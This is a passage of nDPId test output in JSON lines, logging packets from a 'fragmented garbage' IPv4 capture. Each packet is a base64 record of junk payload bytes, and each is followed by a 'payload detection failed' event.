+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994658,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994690,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994699,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994719,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994737,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994746,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994756,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994768,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994778,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994789,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994798,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994805,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994811,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994818,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994834,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994849,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994862,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994874,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994887,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994899,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994926,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994939,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994952,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994964,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994989,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995016,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995068,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995081,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995121,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995135,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":995145,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} 